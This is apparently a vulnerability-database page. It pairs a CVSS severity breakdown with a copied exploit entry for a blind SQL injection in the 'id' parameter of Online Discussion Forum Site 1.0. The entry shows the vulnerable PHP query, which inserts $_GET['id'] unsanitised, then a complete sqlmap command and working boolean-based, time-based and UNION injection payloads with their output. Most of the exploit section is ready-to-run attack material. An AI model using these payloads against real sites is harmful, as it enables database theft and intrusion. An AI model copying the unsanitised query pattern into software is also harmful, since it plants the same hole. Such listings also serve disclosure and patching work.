The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Online Discussion Forum Site 1.0 SQL Injection
# Exploit Title: Online Discussion Forum Site 1.0 - 'id' Blind SQL Injection
# Date: 15/05/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15337/online-discussion-forum-site-phpoop-free-source-code.html
# Version: 1.0
# Tested on: XAMPP, Linux
# Vulnerable Code:
line 3 in file "/odfs/posts/view_post.php"
$qry = $conn->query("SELECT p.*, u.username, u.avatar, c.name as `category` FROM `post_list` p inner join category_list c on p.category_id = c.id inner join `users` u on p.user_id = u.id where p.id= '{$_GET['id']}'");
# Sqlmap command:
sqlmap -u 'http://localhost/odfs/?id=1&p=posts/view_post' -p id --level=5 --risk=3 --dbs --random-agent --eta
# Output:
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 5178=5178-- Iddj&p=posts/view_post
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 6535 FROM (SELECT(SLEEP(5)))amvG)-- ikmN&p=posts/view_post
Type: UNION query
Title: Generic UNION query (NULL) - 12 columns
Payload: id=-3669' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x71716a7671,0x65776b4d4272577956694c6549674a64546761564c79566d556255634a426c7a66464e6e527a4779,0x71767a6a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -&p=posts/view_post
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum